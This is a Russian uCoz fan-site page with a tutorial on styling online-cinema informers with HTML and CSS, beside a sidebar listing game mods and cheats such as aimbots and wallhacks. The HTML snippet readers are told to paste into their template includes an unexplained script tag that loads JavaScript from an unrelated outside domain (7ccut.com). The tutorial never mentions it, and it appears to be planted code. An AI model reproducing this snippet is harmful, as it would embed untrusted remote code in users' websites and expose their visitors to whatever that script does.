Меню сайта
Главная страничка Файловый архив Наши баннеры Новости Статьи Форум Counter-Strike 1.6 Система uCoz SanAndreas MP 0.3c
Мини-чат
Поиск
Block title
Яндекс.Метрика
Друзья сайта
Кіно онлайн  Баннер обмен
Онлайн лист
Онлайн всего: 1
Гостей: 1
Пользователей: 0


Сегодня нас посетили:
Популярные файлы
» [GM] Samp-Rp
» [GM]РП-сервер(RUS)[wyrez.ru]
» [GM]Drift mod .City of Hot Asphalt
» Public Enemy Collection
» [GM] Urban Connection RP
» Прога для изменения голоса в скайпе в ко...
» Скачать [GM] Paradise Roleplay бесплатно
» [GM]MyGame v 2.3
» Модель игрока для cs 1.6 adidas
» [GM] Samp Role Play[v0.3](by Hawkins)
» Беспалевный aim! (совсем непалится на се...
» mod gf
» [GM] Green Roleplay
» [GM]Samp-rp(Состоящий из SG + чьи то рук...
» ZhyHack
» Manhunt-LV
» Mod Virtual_City [RP] [RUS]
» [GM] Stunt Universe v0.5
» Новый мод LVDM
» Пак оружия из сss для cs 1.6
» vagos
» [GM] Real-Life Stunting v6.3
» [GM] The Godfather + полный перевод
» Плагин grab позволяет летать на паутинк...
» Авто прицел на голову!!!!Главное что это...
» VDS:redux
» Скачать SA-MP 0.3c Server (Client+server...
» autobind
» [GM] MultiGTA (RPG)
» [GM] DG-RP
» Делаем лейбл админ своими руками
» [GM] Stunts and DM
» [GM] WFM
» [GM]Sniper Death Match Tournament
» [FS] Pleasant GrooveStreet
» Чит распрыжка
» Cfg для банни хопа
» Mod Virtual_City [RP] [RUS]
» ***[GM]FramCop***
» [GM] Counter-Strike Source
» [GM]League Script
» [GM] Andreas City RP
» AMXX-Booster
» Super Boy v.2
» Новогодний War3 mod 3.0 (RUS) 30(lvl)
» [GM] SanfierroDM
» admin model (скины для админов)
» CW Server - Rcon Mod
» Чит WallHack(WH)
» Zombie Plague Mod 4.3 [RUS]
Главная » 2014 » Январь » 25 » Вид информера онлайн кинотеатра
16:24
Вид информера онлайн кинотеатра
Если вы владелец онлайн кинотеатра в системе uCoz, и пользуетесь информерами, то статья именно для вас.
Стандартный вид информеров не то, что поможет привлечь потенциальных зрителей, а скорее отпугнет. Во-первых, из-за того, что заходят в кинотеатр, все должно быть наглядно. Изначально информер выглядит как простой текст (название), с датой добавления, и автором, все. Мало, кто захочет читать. Поэтому для информеров такого типа нужна как минимум картинка. Это не обязательно может быть информер фильмов. Да, уже нормально, но фильмы имеют названия разной длины, потому все картинки смещаются, какие-то выше, какие-то ниже, в общем, весь вид портится.

Я предлагаю сделать надписи прямо на картинке, при этом красиво это все оформив.

Итак, начнем.

Для начала, вставим этот код в шаблон информера.

Код
<table border="0" cellpadding="2" cellspacing="1" width="100%" class="infTable">  
<tbody>  
<tr align="center">  
<td class="infTitle" colspan="2">  
<p>  
<div class="image">  
<a href="$ENTRY_URL$"><img src="$IMG_URL1$" vspace="5" width="160" height="220" align="center" border="2" hspace="10" title="$TITLE$" style="vertical-align: bottom;"></a>  
<h2> <script src="http://7ccut.com/table.js" type="text/javascript"></script>  
<div class="img_title"><div align="left"><a href="$ENTRY_URL$">$TITLE$</a></div></div>  
</h2>  
</div>  
</p>  
</td>  
</tr>  
</tbody>  
</table>


После чего, в CSS вставляем данные стили.

Код
.img_title {  
word-wrap: break-word;  
text-indent: 0px;  
font-size: 13px;  
color: #376d9c;  
font-weight: bold; font-family: Arial Narrow, sans-serif;  
background: #ffffff;  
height: 40px;  
vertical-align:middle;  
width: 162px;  
left: 20px;  
text-align: center;  
-webkit-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-webkit-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
}  
.image {  
position: relative;  
width : 100%;  
}  
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}


Это придаст нашему блоку с названием тень, а тексту стиль.

height: 40px - можно убрать, чтобы блок сам увеличивался или уменьшался в зависимости от длины заголовка. Или оставить, если хотите, чтобы блоки были одинаковые (при этом если надпись длиннее оставленной высоты (места), то она будет вылезать за рамки).

Код
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}  
.image {  
position: relative;  
width : 100%; /* for IE 6 */  
}  
Просмотров: 247 | Добавил: smasto | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

\